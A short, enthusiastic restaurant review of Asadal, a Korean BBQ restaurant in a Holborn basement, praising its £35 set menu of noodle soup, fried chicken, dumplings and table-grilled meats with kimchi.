Korean food is your thing then you’re gonna wanna hit up Asadal. Located in a basement in Holborn, the entrance is joined on to Costa, which doesn’t give high hopes, however downstairs is a completely different kettle of fish.

The restaurant specialises in BBQ  dishes which are cooked at your table on a hot grill and served with a punchy selection of spicy kimchi. The menu itself is pretty lengthy but we opted for the special set menu, priced at just £35 per person it offers a good selection of dishes and more food than we could handle.

The meal kicks off with a handmade noodle soup which is followed by three starters, our highlights were the deep fried crispy chicken in a sweet, sticky sauce and the handmade dumplings with pork and chives.

Things really move up a notch for the BBQ; the juicy, thinly sliced beef and tender pork wrapped with the huge selection of crunchy, spicy kimchi in a lettuce leaf is a great combo. It’s all fresh and packed with flavour – Korean cooking at its best, just don’t be put off by the entrance.
